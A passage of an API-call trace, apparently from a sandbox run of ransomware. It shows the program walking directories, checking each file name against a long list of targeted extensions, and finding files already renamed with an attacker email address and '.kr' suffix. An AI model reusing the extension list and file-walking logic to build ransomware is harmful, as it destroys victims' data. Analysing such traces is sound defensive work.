-1 [0088.672] lstrlenW (lpString=".epf") returned 4 [0088.672] lstrcmpiW (lpString1=".epf", lpString2="].kr") returned -1 [0088.672] lstrlenW (lpString=".eps") returned 4 [0088.672] lstrcmpiW (lpString1=".eps", lpString2="].kr") returned -1 [0088.672] lstrlenW (lpString=".epsf") returned 5 [0088.672] lstrcmpiW (lpString1=".epsf", lpString2="c].kr") returned -1 [0088.672] lstrlenW (lpString=".epsp") returned 5 [0088.672] lstrcmpiW (lpString1=".epsp", lpString2="c].kr") returned -1 [0088.672] lstrlenW (lpString=".erf") returned 4 [0088.672] lstrcmpiW (lpString1=".erf", lpString2="].kr") returned -1 [0088.672] lstrlenW (lpString=".exr") returned 4 [0088.672] lstrcmpiW (lpString1=".exr", lpString2="].kr") returned -1 [0088.672] lstrlenW (lpString=".f4v") returned 4 [0088.672] lstrcmpiW (lpString1=".f4v", lpString2="].kr") returned -1 [0088.672] lstrlenW (lpString=".fido") returned 5 [0088.672] lstrcmpiW (lpString1=".fido", lpString2="c].kr") returned -1 [0088.672] lstrlenW (lpString=".flm") returned 4 [0088.672] lstrcmpiW (lpString1=".flm", lpString2="].kr") returned -1 [0088.672] lstrlenW (lpString=".flv") returned 4 [0088.672] lstrcmpiW (lpString1=".flv", lpString2="].kr") returned -1 [0088.672] lstrlenW (lpString=".frm") returned 4 [0088.672] lstrcmpiW (lpString1=".frm", lpString2="].kr") returned -1 [0088.672] lstrlenW (lpString=".fxg") returned 4 [0088.672] lstrcmpiW (lpString1=".fxg", lpString2="].kr") returned -1 [0088.672] lstrlenW (lpString=".geo") returned 4 [0088.673] lstrcmpiW (lpString1=".geo", lpString2="].kr") returned -1 [0088.673] lstrlenW (lpString=".gif") returned 4 [0088.673] lstrcmpiW (lpString1=".gif", lpString2="].kr") returned -1 [0088.673] lstrlenW (lpString=".grs") returned 4 [0088.673] lstrcmpiW (lpString1=".grs", lpString2="].kr") returned -1 [0088.673] lstrlenW (lpString=".gz") returned 3 [0088.673] lstrcmpiW (lpString1=".gz", lpString2=".kr") returned -1 [0088.673] lstrlenW (lpString=".h") returned 2 [0088.673] lstrcmpiW (lpString1=".h", lpString2="kr") returned -1 [0088.673] lstrlenW (lpString=".hdr") returned 4 [0088.673] lstrcmpiW (lpString1=".hdr", lpString2="].kr") returned -1 [0088.673] lstrlenW (lpString=".hpp") returned 4 [0088.673] lstrcmpiW (lpString1=".hpp", lpString2="].kr") returned -1 [0088.673] lstrlenW (lpString=".hta") returned 4 [0088.673] lstrcmpiW (lpString1=".hta", lpString2="].kr") returned -1 [0088.673] lstrlenW (lpString=".htc") returned 4 [0088.673] lstrcmpiW (lpString1=".htc", lpString2="].kr") returned -1 [0088.673] lstrlenW (lpString=".htm") returned 4 [0088.673] lstrcmpiW (lpString1=".htm", lpString2="].kr") returned -1 [0088.673] lstrlenW (lpString=".html") returned 5 [0088.673] lstrcmpiW (lpString1=".html", lpString2="c].kr") returned -1 [0088.673] lstrlenW (lpString=".icb") returned 4 [0088.673] lstrcmpiW (lpString1=".icb", lpString2="].kr") returned -1 [0088.673] lstrlenW (lpString=".ics") returned 4 [0088.673] lstrcmpiW (lpString1=".ics", lpString2="].kr") returned -1 [0088.673] lstrlenW (lpString=".iff") returned 4 [0088.674] lstrcmpiW (lpString1=".iff", lpString2="].kr") returned -1 [0088.674] lstrlenW (lpString=".inc") returned 4 [0088.674] lstrcmpiW (lpString1=".inc", lpString2="].kr") returned -1 [0088.674] lstrlenW (lpString=".indd") returned 5 [0088.674] lstrcmpiW (lpString1=".indd", lpString2="c].kr") returned -1 [0088.674] lstrlenW (lpString=".ini") returned 4 [0088.674] lstrcmpiW (lpString1=".ini", lpString2="].kr") returned -1 [0088.674] lstrlenW (lpString=".iqy") returned 4 [0088.674] lstrcmpiW (lpString1=".iqy", lpString2="].kr") returned -1 [0088.674] lstrlenW (lpString=".j2c") returned 4 [0088.674] lstrcmpiW (lpString1=".j2c", lpString2="].kr") returned -1 [0088.674] lstrlenW (lpString=".j2k") returned 4 [0088.674] lstrcmpiW (lpString1=".j2k", lpString2="].kr") returned -1 [0088.674] lstrlenW (lpString=".java") returned 5 [0088.674] lstrcmpiW (lpString1=".java", lpString2="c].kr") returned -1 [0088.674] lstrlenW (lpString=".jp2") returned 4 [0088.674] lstrcmpiW (lpString1=".jp2", lpString2="].kr") returned -1 [0088.674] lstrlenW (lpString=".jpc") returned 4 [0088.674] lstrcmpiW (lpString1=".jpc", lpString2="].kr") returned -1 [0088.674] lstrlenW (lpString=".jpe") returned 4 [0088.674] lstrcmpiW (lpString1=".jpe", lpString2="].kr") returned -1 [0088.674] lstrlenW (lpString=".jpeg") returned 5 [0088.674] lstrcmpiW (lpString1=".jpeg", lpString2="c].kr") returned -1 [0088.674] lstrlenW (lpString=".jpf") returned 4 [0088.674] lstrcmpiW (lpString1=".jpf", lpString2="].kr") returned -1 [0088.674] lstrlenW (lpString=".jpg") returned 4 [0088.675] lstrcmpiW (lpString1=".jpg", lpString2="].kr") returned -1 [0088.675] lstrlenW (lpString=".jpx") returned 4 [0088.675] lstrcmpiW (lpString1=".jpx", lpString2="].kr") returned -1 [0088.675] lstrlenW (lpString=".js") returned 3 [0088.675] lstrcmpiW (lpString1=".js", lpString2=".kr") returned -1 [0088.675] lstrlenW (lpString=".jsf") returned 4 [0088.675] lstrcmpiW (lpString1=".jsf", lpString2="].kr") returned -1 [0088.675] lstrlenW (lpString=".json") returned 5 [0088.675] lstrcmpiW (lpString1=".json", lpString2="c].kr") returned -1 [0088.675] lstrlenW (lpString=".jsp") returned 4 [0088.675] lstrcmpiW (lpString1=".jsp", lpString2="].kr") returned -1 [0088.675] lstrlenW (lpString=".kdc") returned 4 [0088.675] lstrcmpiW (lpString1=".kdc", lpString2="].kr") returned -1 [0088.675] lstrlenW (lpString=".kmz") returned 4 [0088.675] lstrcmpiW (lpString1=".kmz", lpString2="].kr") returned -1 [0088.675] lstrlenW (lpString=".kwm") returned 4 [0088.675] lstrcmpiW (lpString1=".kwm", lpString2="].kr") returned -1 [0088.675] lstrlenW (lpString=".lasso") returned 6 [0088.675] lstrcmpiW (lpString1=".lasso", lpString2="cc].kr") returned -1 [0088.675] lstrlenW (lpString=".lbi") returned 4 [0088.675] lstrcmpiW (lpString1=".lbi", lpString2="].kr") returned -1 [0088.675] lstrlenW (lpString=".lgf") returned 4 [0088.675] lstrcmpiW (lpString1=".lgf", lpString2="].kr") returned -1 [0088.675] lstrlenW (lpString=".lgp") returned 4 [0088.675] lstrcmpiW (lpString1=".lgp", lpString2="].kr") returned -1 [0088.675] lstrlenW (lpString=".log") returned 4 [0088.676] lstrcmpiW (lpString1=".log", lpString2="].kr") returned -1 [0088.676] lstrlenW (lpString=".m1v") returned 4 [0088.676] lstrcmpiW (lpString1=".m1v", lpString2="].kr") returned -1 [0088.676] lstrlenW (lpString=".m4a") returned 4 [0088.676] lstrcmpiW (lpString1=".m4a", lpString2="].kr") returned -1 [0088.676] lstrlenW (lpString=".m4v") returned 4 [0088.676] lstrcmpiW (lpString1=".m4v", lpString2="].kr") returned -1 [0088.676] lstrlenW (lpString=".max") returned 4 [0088.676] lstrcmpiW (lpString1=".max", lpString2="].kr") returned -1 [0088.676] lstrlenW (lpString=".md") returned 3 [0088.676] lstrcmpiW (lpString1=".md", lpString2=".kr") returned 1 [0088.676] lstrlenW (lpString=".mda") returned 4 [0088.676] lstrcmpiW (lpString1=".mda", lpString2="].kr") returned -1 [0088.676] lstrlenW (lpString=".mdb") returned 4 [0088.676] lstrcmpiW (lpString1=".mdb", lpString2="].kr") returned -1 [0088.676] lstrlenW (lpString=".mde") returned 4 [0088.676] lstrcmpiW (lpString1=".mde", lpString2="].kr") returned -1 [0088.676] lstrlenW (lpString=".mdf") returned 4 [0088.676] lstrcmpiW (lpString1=".mdf", lpString2="].kr") returned -1 [0088.676] lstrlenW (lpString=".mdw") returned 4 [0088.676] lstrcmpiW (lpString1=".mdw", lpString2="].kr") returned -1 [0088.676] lstrlenW (lpString=".mef") returned 4 [0088.676] lstrcmpiW (lpString1=".mef", lpString2="].kr") returned -1 [0088.676] lstrlenW (lpString=".mft") returned 4 [0088.676] lstrcmpiW (lpString1=".mft", lpString2="].kr") returned -1 [0088.676] lstrlenW (lpString=".mfw") returned 4 [0088.677] lstrcmpiW (lpString1=".mfw", lpString2="].kr") returned -1 [0088.677] lstrlenW (lpString=".mht") returned 4 [0088.677] lstrcmpiW (lpString1=".mht", lpString2="].kr") returned -1 [0088.677] lstrlenW (lpString=".mhtml") returned 6 [0088.677] lstrcmpiW (lpString1=".mhtml", lpString2="cc].kr") returned -1 [0088.677] lstrlenW (lpString=".mka") returned 4 [0088.677] lstrcmpiW (lpString1=".mka", lpString2="].kr") returned -1 [0088.677] lstrlenW (lpString=".mkidx") returned 6 [0088.677] lstrcmpiW (lpString1=".mkidx", lpString2="cc].kr") returned -1 [0088.677] lstrlenW (lpString=".mkv") returned 4 [0088.677] lstrcmpiW (lpString1=".mkv", lpString2="].kr") returned -1 [0088.677] lstrlenW (lpString=".mos") returned 4 [0088.677] lstrcmpiW (lpString1=".mos", lpString2="].kr") returned -1 [0088.677] lstrlenW (lpString=".mov") returned 4 [0088.677] lstrcmpiW (lpString1=".mov", lpString2="].kr") returned -1 [0088.677] lstrlenW (lpString=".mp3") returned 4 [0088.677] lstrcmpiW (lpString1=".mp3", lpString2="].kr") returned -1 [0088.677] lstrlenW (lpString=".mp4") returned 4 [0088.677] lstrcmpiW (lpString1=".mp4", lpString2="].kr") returned -1 [0088.677] lstrlenW (lpString=".mpeg") returned 5 [0088.677] lstrcmpiW (lpString1=".mpeg", lpString2="c].kr") returned -1 [0088.677] lstrlenW (lpString=".mpg") returned 4 [0088.677] lstrcmpiW (lpString1=".mpg", lpString2="].kr") returned -1 [0088.677] lstrlenW (lpString=".mpv") returned 4 [0088.677] lstrcmpiW (lpString1=".mpv", lpString2="].kr") returned -1 [0088.678] lstrlenW (lpString=".mrw") returned 4 [0088.678] lstrcmpiW (lpString1=".mrw", lpString2="].kr") returned -1 [0088.678] lstrlenW (lpString=".msg") returned 4 [0088.678] lstrcmpiW (lpString1=".msg", lpString2="].kr") returned -1 [0088.678] lstrlenW (lpString=".mxl") returned 4 [0088.678] lstrcmpiW (lpString1=".mxl", lpString2="].kr") returned -1 [0088.678] lstrlenW (lpString=".myd") returned 4 [0088.678] lstrcmpiW (lpString1=".myd", lpString2="].kr") returned -1 [0088.678] lstrlenW (lpString=".myi") returned 4 [0088.678] lstrcmpiW (lpString1=".myi", lpString2="].kr") returned -1 [0088.678] lstrlenW (lpString=".nef") returned 4 [0088.678] lstrcmpiW (lpString1=".nef", lpString2="].kr") returned -1 [0088.678] lstrlenW (lpString=".nrw") returned 4 [0088.678] lstrcmpiW (lpString1=".nrw", lpString2="].kr") returned -1 [0088.679] lstrlenW (lpString=".obj") returned 4 [0088.679] lstrcmpiW (lpString1=".obj", lpString2="].kr") returned -1 [0088.679] lstrlenW (lpString=".odb") returned 4 [0088.679] lstrcmpiW (lpString1=".odb", lpString2="].kr") returned -1 [0088.679] lstrlenW (lpString=".odc") returned 4 [0088.679] lstrcmpiW (lpString1=".odc", lpString2="].kr") returned -1 [0088.679] lstrlenW (lpString=".odm") returned 4 [0088.679] lstrcmpiW (lpString1=".odm", lpString2="].kr") returned -1 [0088.679] lstrlenW (lpString=".odp") returned 4 [0088.679] lstrcmpiW (lpString1=".odp", lpString2="].kr") returned -1 [0088.679] lstrlenW (lpString=".ods") returned 4 [0088.679] lstrcmpiW (lpString1=".ods", lpString2="].kr") returned -1 [0088.679] lstrlenW (lpString=".oft") returned 4 [0088.679] lstrcmpiW (lpString1=".oft", lpString2="].kr") returned -1 [0088.679] lstrlenW (lpString=".one") returned 4 [0088.679] lstrcmpiW (lpString1=".one", lpString2="].kr") returned -1 [0088.679] lstrlenW (lpString=".onepkg") returned 7 [0088.680] lstrcmpiW (lpString1=".onepkg", lpString2=".cc].kr") returned 1 [0088.680] lstrlenW (lpString=".onetoc2") returned 8 [0088.680] lstrcmpiW (lpString1=".onetoc2", lpString2="l.cc].kr") returned -1 [0088.680] lstrlenW (lpString=".opt") returned 4 [0088.680] lstrcmpiW (lpString1=".opt", lpString2="].kr") returned -1 [0088.680] lstrlenW (lpString=".oqy") returned 4 [0088.680] lstrcmpiW (lpString1=".oqy", lpString2="].kr") returned -1 [0088.680] lstrlenW (lpString=".orf") returned 4 [0088.680] lstrcmpiW (lpString1=".orf", lpString2="].kr") returned -1 [0088.680] lstrlenW (lpString=".p12") returned 4 [0088.680] lstrcmpiW (lpString1=".p12", lpString2="].kr") returned -1 [0088.680] lstrlenW (lpString=".p7b") returned 4 [0088.680] lstrcmpiW (lpString1=".p7b", lpString2="].kr") returned -1 [0088.680] lstrlenW (lpString=".p7c") returned 4 [0088.680] lstrcmpiW (lpString1=".p7c", lpString2="].kr") returned -1 [0088.680] lstrlenW (lpString=".pam") returned 4 [0088.680] lstrcmpiW (lpString1=".pam", lpString2="].kr") returned -1 [0088.680] lstrlenW (lpString=".pbm") returned 4 [0088.680] lstrcmpiW (lpString1=".pbm", lpString2="].kr") returned -1 [0088.680] lstrlenW (lpString=".pct") returned 4 [0088.680] lstrcmpiW (lpString1=".pct", lpString2="].kr") returned -1 [0088.680] lstrlenW (lpString=".pcx") returned 4 [0088.680] lstrcmpiW (lpString1=".pcx", lpString2="].kr") returned -1 [0088.680] lstrlenW (lpString=".pdd") returned 4 [0088.680] lstrcmpiW (lpString1=".pdd", lpString2="].kr") returned -1 [0088.681] lstrlenW (lpString=".pdf") returned 4 [0088.681] lstrcmpiW (lpString1=".pdf", lpString2="].kr") returned -1 [0088.681] lstrlenW (lpString=".pdp") returned 4 [0088.681] lstrcmpiW (lpString1=".pdp", lpString2="].kr") returned -1 [0088.681] lstrlenW (lpString=".pef") returned 4 [0088.681] lstrcmpiW (lpString1=".pef", lpString2="].kr") returned -1 [0088.681] lstrlenW (lpString=".pem") returned 4 [0088.681] lstrcmpiW (lpString1=".pem", lpString2="].kr") returned -1 [0088.681] lstrlenW (lpString=".pff") returned 4 [0088.681] lstrcmpiW (lpString1=".pff", lpString2="].kr") returned -1 [0088.681] lstrlenW (lpString=".pfm") returned 4 [0088.681] lstrcmpiW (lpString1=".pfm", lpString2="].kr") returned -1 [0088.681] lstrlenW (lpString=".pfx") returned 4 [0088.681] lstrcmpiW (lpString1=".pfx", lpString2="].kr") returned -1 [0088.681] lstrlenW (lpString=".pgm") returned 4 [0088.681] lstrcmpiW (lpString1=".pgm", lpString2="].kr") returned -1 [0088.681] lstrlenW (lpString=".php") returned 4 [0088.681] lstrcmpiW (lpString1=".php", lpString2="].kr") returned -1 [0088.681] lstrlenW (lpString=".php3") returned 5 [0088.681] lstrcmpiW (lpString1=".php3", lpString2="c].kr") returned -1 [0088.681] lstrlenW (lpString=".php4") returned 5 [0088.681] lstrcmpiW (lpString1=".php4", lpString2="c].kr") returned -1 [0088.681] lstrlenW (lpString=".php5") returned 5 [0088.681] lstrcmpiW (lpString1=".php5", lpString2="c].kr") returned -1 [0088.682] lstrlenW (lpString=".phtml") returned 6 [0088.682] lstrcmpiW (lpString1=".phtml", lpString2="cc].kr") returned -1 [0088.682] lstrlenW (lpString=".pict") returned 5 [0088.682] lstrcmpiW (lpString1=".pict", lpString2="c].kr") returned -1 [0088.682] lstrlenW (lpString=".pl") returned 3 [0088.682] lstrcmpiW (lpString1=".pl", lpString2=".kr") returned 1 [0088.682] lstrlenW (lpString=".pls") returned 4 [0088.682] lstrcmpiW (lpString1=".pls", lpString2="].kr") returned -1 [0088.682] lstrlenW (lpString=".pm") returned 3 [0088.682] lstrcmpiW (lpString1=".pm", lpString2=".kr") returned 1 [0088.682] lstrlenW (lpString=".png") returned 4 [0088.682] lstrcmpiW (lpString1=".png", lpString2="].kr") returned -1 [0088.682] lstrlenW (lpString=".pnm") returned 4 [0088.682] lstrcmpiW (lpString1=".pnm", lpString2="].kr") returned -1 [0088.682] lstrlenW (lpString=".pot") returned 4 [0088.682] lstrcmpiW (lpString1=".pot", lpString2="].kr") returned -1 [0088.682] lstrlenW (lpString=".potm") returned 5 [0088.682] lstrcmpiW (lpString1=".potm", lpString2="c].kr") returned -1 [0088.682] lstrlenW (lpString=".potx") returned 5 [0088.682] lstrcmpiW (lpString1=".potx", lpString2="c].kr") returned -1 [0088.682] lstrlenW (lpString=".ppa") returned 4 [0088.682] lstrcmpiW (lpString1=".ppa", lpString2="].kr") returned -1 [0088.682] lstrlenW (lpString=".ppam") returned 5 [0088.682] lstrcmpiW (lpString1=".ppam", lpString2="c].kr") returned -1 [0088.682] lstrlenW (lpString=".ppm") returned 4 [0088.683] lstrcmpiW (lpString1=".ppm", lpString2="].kr") returned -1 [0088.683] lstrlenW (lpString=".pps") returned 4 [0088.683] lstrcmpiW (lpString1=".pps", lpString2="].kr") returned -1 [0088.683] lstrlenW (lpString=".ppsm") returned 5 [0088.683] lstrcmpiW (lpString1=".ppsm", lpString2="c].kr") returned -1 [0088.683] lstrlenW (lpString=".ppt") returned 4 [0088.683] lstrcmpiW (lpString1=".ppt", lpString2="].kr") returned -1 [0088.683] lstrlenW (lpString=".pptm") returned 5 [0088.683] lstrcmpiW (lpString1=".pptm", lpString2="c].kr") returned -1 [0088.683] lstrlenW (lpString=".pptx") returned 5 [0088.683] lstrcmpiW (lpString1=".pptx", lpString2="c].kr") returned -1 [0088.683] lstrlenW (lpString=".prn") returned 4 [0088.683] lstrcmpiW (lpString1=".prn", lpString2="].kr") returned -1 [0088.683] lstrlenW (lpString=".ps") returned 3 [0088.683] lstrcmpiW (lpString1=".ps", lpString2=".kr") returned 1 [0088.683] lstrlenW (lpString=".psb") returned 4 [0088.683] lstrcmpiW (lpString1=".psb", lpString2="].kr") returned -1 [0088.683] lstrlenW (lpString=".psd") returned 4 [0088.683] lstrcmpiW (lpString1=".psd", lpString2="].kr") returned -1 [0088.683] lstrlenW (lpString=".pst") returned 4 [0088.683] lstrcmpiW (lpString1=".pst", lpString2="].kr") returned -1 [0088.683] lstrlenW (lpString=".ptx") returned 4 [0088.683] lstrcmpiW (lpString1=".ptx", lpString2="].kr") returned -1 [0088.683] lstrlenW (lpString=".pub") returned 4 [0088.684] lstrcmpiW (lpString1=".pub", lpString2="].kr") returned -1 [0088.684] lstrlenW (lpString=".pwm") returned 4 [0088.684] lstrcmpiW (lpString1=".pwm", lpString2="].kr") returned -1 [0088.684] lstrlenW (lpString=".pxr") returned 4 [0088.684] lstrcmpiW (lpString1=".pxr", lpString2="].kr") returned -1 [0088.684] lstrlenW (lpString=".py") returned 3 [0088.684] lstrcmpiW (lpString1=".py", lpString2=".kr") returned 1 [0088.684] lstrlenW (lpString=".qt") returned 3 [0088.684] lstrcmpiW (lpString1=".qt", lpString2=".kr") returned 1 [0088.684] lstrlenW (lpString=".r3d") returned 4 [0088.684] lstrcmpiW (lpString1=".r3d", lpString2="].kr") returned -1 [0088.684] lstrlenW (lpString=".raf") returned 4 [0088.684] lstrcmpiW (lpString1=".raf", lpString2="].kr") returned -1 [0088.684] lstrlenW (lpString=".rar") returned 4 [0088.684] lstrcmpiW (lpString1=".rar", lpString2="].kr") returned -1 [0088.684] FindNextFileW (in: hFindFile=0x4260190, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc7b16092, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc7b16092, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc7b62410, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x9978, dwReserved0=0x0, dwReserved1=0x0, cFileName="UiInfo.xml.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="UIINFO~1.KR")) returned 1 [0088.684] FindNextFileW (in: hFindFile=0x4260190, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc7b16092, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc7b16092, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc7b62410, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x9978, dwReserved0=0x0, dwReserved1=0x0, cFileName="UiInfo.xml.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="UIINFO~1.KR")) returned 0 [0088.685] FindClose (in: hFindFile=0x4260190 | out: hFindFile=0x4260190) returned 1 [0088.685] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x440000) returned 1 [0088.685] FindNextFileW (in: hFindFile=0x4260350, lpFindFileData=0x3cdfa7c | out: lpFindFileData=0x3cdfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf371c69a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf371c69a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Graphics", cAlternateFileName="")) returned 1 [0088.685] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x4250058 [0088.685] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\*", lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf371c69a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf371c69a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260750 [0088.686] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf371c69a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf371c69a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.686] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x47e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Print.ico", cAlternateFileName="")) returned 1 [0088.686] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate1.ico", cAlternateFileName="")) returned 1 [0088.687] lstrlenW (lpString="Rotate1.ico") returned 11 [0088.687] lstrlenW (lpString=".1cd") returned 4 [0088.687] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0088.687] lstrlenW (lpString=".3ds") returned 4 [0088.687] lstrcmpiW (lpString1=".3ds", lpString2=".ico") returned -1 [0088.687] lstrlenW (lpString=".3fr") returned 4 [0088.687] lstrcmpiW (lpString1=".3fr", lpString2=".ico") returned -1 [0088.687] lstrlenW (lpString=".3g2") returned 4 [0088.687] lstrcmpiW (lpString1=".3g2", lpString2=".ico") returned -1 [0088.687] lstrlenW (lpString=".3gp") returned 4 [0088.687] lstrcmpiW (lpString1=".3gp", lpString2=".ico") returned -1 [0088.687] lstrlenW (lpString=".7z") returned 3 [0088.687] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0088.687] lstrlenW (lpString=".accda") returned 6 [0088.687] lstrcmpiW (lpString1=".accda", lpString2="e1.ico") returned -1 [0088.687] lstrlenW (lpString=".accdb") returned 6 [0088.687] lstrcmpiW (lpString1=".accdb", lpString2="e1.ico") returned -1 [0088.687] lstrlenW (lpString=".accdc") returned 6 [0088.687] lstrcmpiW (lpString1=".accdc", lpString2="e1.ico") returned -1 [0088.687] lstrlenW (lpString=".accde") returned 6 [0088.687] lstrcmpiW (lpString1=".accde", lpString2="e1.ico") returned -1 [0088.687] lstrlenW (lpString=".accdt") returned 6 [0088.687] lstrcmpiW (lpString1=".accdt", lpString2="e1.ico") returned -1 [0088.687] lstrlenW (lpString=".accdw") returned 6 [0088.687] lstrcmpiW (lpString1=".accdw", lpString2="e1.ico") returned -1 [0088.688] lstrlenW (lpString=".adb") returned 4 [0088.688] lstrcmpiW (lpString1=".adb", lpString2=".ico") returned -1 [0088.688] lstrlenW (lpString=".adp") returned 4 [0088.688] lstrcmpiW (lpString1=".adp", lpString2=".ico") returned -1 [0088.688] lstrlenW (lpString=".ai") returned 3 [0088.688] lstrcmpiW (lpString1=".ai", lpString2="ico") returned -1 [0088.688] lstrlenW (lpString=".ai3") returned 4 [0088.688] lstrcmpiW (lpString1=".ai3", lpString2=".ico") returned -1 [0088.688] lstrlenW (lpString=".ai4") returned 4 [0088.688] lstrcmpiW (lpString1=".ai4", lpString2=".ico") returned -1 [0088.688] lstrlenW (lpString=".ai5") returned 4 [0088.688] lstrcmpiW (lpString1=".ai5", lpString2=".ico") returned -1 [0088.688] lstrlenW (lpString=".ai6") returned 4 [0088.688] lstrcmpiW (lpString1=".ai6", lpString2=".ico") returned -1 [0088.688] lstrlenW (lpString=".ai7") returned 4 [0088.688] lstrcmpiW (lpString1=".ai7", lpString2=".ico") returned -1 [0088.688] lstrlenW (lpString=".ai8") returned 4 [0088.688] lstrcmpiW (lpString1=".ai8", lpString2=".ico") returned -1 [0088.688] lstrlenW (lpString=".anim") returned 5 [0088.688] lstrcmpiW (lpString1=".anim", lpString2="1.ico") returned -1 [0088.688] lstrlenW (lpString=".arw") returned 4 [0088.688] lstrcmpiW (lpString1=".arw", lpString2=".ico") returned -1 [0088.688] lstrlenW (lpString=".as") returned 3 [0088.688] lstrcmpiW (lpString1=".as", lpString2="ico") returned -1 [0088.688] lstrlenW (lpString=".asa") returned 4 [0088.689] lstrcmpiW (lpString1=".asa", lpString2=".ico") returned -1 [0088.689] lstrlenW (lpString=".asc") returned 4 [0088.689] lstrcmpiW (lpString1=".asc", lpString2=".ico") returned -1 [0088.689] lstrlenW (lpString=".ascx") returned 5 [0088.689] lstrcmpiW (lpString1=".ascx", lpString2="1.ico") returned -1 [0088.689] lstrlenW (lpString=".asm") returned 4 [0088.689] lstrcmpiW (lpString1=".asm", lpString2=".ico") returned -1 [0088.689] lstrlenW (lpString=".asmx") returned 5 [0088.689] lstrcmpiW (lpString1=".asmx", lpString2="1.ico") returned -1 [0088.689] lstrlenW (lpString=".asp") returned 4 [0088.689] lstrcmpiW (lpString1=".asp", lpString2=".ico") returned -1 [0088.689] lstrlenW (lpString=".aspx") returned 5 [0088.689] lstrcmpiW (lpString1=".aspx", lpString2="1.ico") returned -1 [0088.689] lstrlenW (lpString=".asr") returned 4 [0088.689] lstrcmpiW (lpString1=".asr", lpString2=".ico") returned -1 [0088.689] lstrlenW (lpString=".asx") returned 4 [0088.689] lstrcmpiW (lpString1=".asx", lpString2=".ico") returned -1 [0088.689] lstrlenW (lpString=".avi") returned 4 [0088.689] lstrcmpiW (lpString1=".avi", lpString2=".ico") returned -1 [0088.689] lstrlenW (lpString=".avs") returned 4 [0088.689] lstrcmpiW (lpString1=".avs", lpString2=".ico") returned -1 [0088.689] lstrlenW (lpString=".backup") returned 7 [0088.689] lstrcmpiW (lpString1=".backup", lpString2="te1.ico") returned -1 [0088.689] lstrlenW (lpString=".bak") returned 4 [0088.689] lstrcmpiW (lpString1=".bak", lpString2=".ico") returned -1 [0088.689] lstrlenW (lpString=".bay") returned 4 [0088.690] lstrcmpiW (lpString1=".bay", lpString2=".ico") returned -1 [0088.690] lstrlenW (lpString=".bd") returned 3 [0088.690] lstrcmpiW (lpString1=".bd", lpString2="ico") returned -1 [0088.690] lstrlenW (lpString=".bin") returned 4 [0088.690] lstrcmpiW (lpString1=".bin", lpString2=".ico") returned -1 [0088.690] lstrlenW (lpString=".bmp") returned 4 [0088.690] lstrcmpiW (lpString1=".bmp", lpString2=".ico") returned -1 [0088.690] lstrlenW (lpString=".bz2") returned 4 [0088.690] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0088.690] lstrlenW (lpString=".c") returned 2 [0088.690] lstrcmpiW (lpString1=".c", lpString2="co") returned -1 [0088.690] lstrlenW 